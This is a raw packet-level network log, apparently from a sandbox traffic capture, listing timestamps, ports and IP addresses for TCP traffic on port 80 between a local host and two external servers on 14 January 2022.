Jan 14, 2022 02:05:17.403107882 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.403119087 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.403158903 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.403197050 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.403234005 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.403250933 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.403265953 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.403305054 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.403345108 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.403362989 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.403402090 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.403439045 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.403455973 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.403496027 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.403546095 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.441281080 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.441500902 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.441543102 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.441570997 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.441612959 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.441653013 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.441689014 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.441696882 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.441726923 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.441766024 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.441802025 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.441804886 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.441807032 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.441844940 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.441916943 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.441920996 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.441957951 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.441978931 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.442013025 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442051888 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442089081 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442101955 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.442130089 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442132950 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.442167997 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442205906 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442244053 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442255974 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.442282915 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442293882 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.442322969 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442363024 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442399979 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442410946 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.442440033 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442445040 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.442480087 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442588091 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442631006 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442643881 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.442670107 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442681074 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.442707062 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442749023 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442795038 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442800999 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.442841053 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.442861080 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442900896 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442941904 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.442946911 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.442979097 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.443017960 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.443028927 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.443057060 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.443094015 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.443125963 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.443135023 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.443172932 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.443185091 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.443212032 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.443253040 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.443288088 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.443289042 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.443327904 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.443356037 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.443367004 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.443403959 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.443409920 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.443444014 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.443481922 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.443521023 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.443531990 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.443559885 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.443608046 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.450817108 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.450894117 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.450933933 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.450972080 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.450972080 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.451011896 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451013088 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.451050043 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451090097 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451107979 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.451131105 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451138020 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.451175928 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451258898 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451316118 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.451329947 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451370955 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451385021 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.451411963 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451450109 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451483011 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.451489925 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451529026 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451565981 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451576948 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.451603889 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451620102 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.451642036 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451682091 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451724052 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451747894 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.451760054 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451793909 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.451801062 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451841116 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451878071 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.451878071 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451917887 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451924086 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.451956034 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.451994896 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452007055 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.452034950 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452071905 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452111006 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452127934 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.452152967 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452163935 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.452189922 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452229023 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452266932 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452277899 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.452306032 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452318907 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.452346087 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452383995 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452421904 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452434063 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.452461958 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452469110 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.452512980 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452548981 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452583075 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452594995 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.452620029 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452631950 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.452656984 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452691078 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452728033 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452739954 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.452763081 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452773094 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.452795982 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452832937 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452868938 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452888966 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.452903986 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452924013 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.452940941 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.452974081 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453010082 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453021049 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.453046083 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453057051 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.453080893 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453119040 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453155041 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453171015 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.453190088 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453202009 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.453227043 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453260899 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453298092 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453315973 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.453336000 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453371048 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453401089 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.453407049 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453421116 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.453442097 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453478098 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453514099 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453526020 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.453556061 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.453572989 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453646898 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453754902 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453790903 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453808069 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.453828096 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453838110 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.453896046 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453932047 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453967094 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.453990936 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.454000950 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.454013109 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.454035997 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.454071999 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.454108953 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.454122066 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.454157114 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.454158068 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.454236984 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.454309940 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.454371929 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.454411983 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.454474926 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.454515934 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.454546928 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.454708099 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.454787016 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.455066919 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455116034 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455132008 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.455168962 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455204964 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455226898 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.455256939 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455291033 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455306053 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.455343008 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455379009 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455414057 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455427885 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.455465078 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455481052 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.455517054 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455550909 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455585003 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455600977 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.455629110 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.455651045 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455686092 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455722094 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455758095 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455773115 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.455806017 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.455822945 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455859900 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455893993 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455910921 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.455946922 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.455984116 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.456017971 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.456032991 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.456057072 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.456084967 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.456120968 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.456156015 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.456170082 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.456206083 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.456239939 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.456254005 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.456290960 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.456326008 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.456360102 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.456373930 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.456399918 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.456424952 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.456459045 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.456495047 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.456513882 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.456546068 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.456581116 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.456691980 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.456732988 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.456800938 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.456944942 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.456999063 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.457066059 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.457077026 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.457113981 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.457160950 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.508898020 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.508970022 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509010077 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509040117 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.509078979 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509119987 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509162903 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509180069 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.509207010 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.509234905 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509273052 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509313107 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509350061 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509365082 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.509378910 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.509390116 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.509427071 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509464979 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509504080 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509542942 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509558916 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.509588003 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.509615898 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509654045 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509691954 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509736061 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509746075 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.509787083 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509824991 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509839058 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.509916067 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509955883 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.509970903 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.510010958 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.510029078 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.510067940 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.510106087 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.510144949 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.510159969 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.510185957 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.510216951 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.510256052 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.510294914 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.510309935 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.510349989 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.510386944 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.510425091 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.510442019 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.510482073 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.510518074 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.510535002 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.510569096 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.510592937 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.510632992 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.510670900 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.510689020 CET	49884	80	192.168.2.3	93.189.42.167
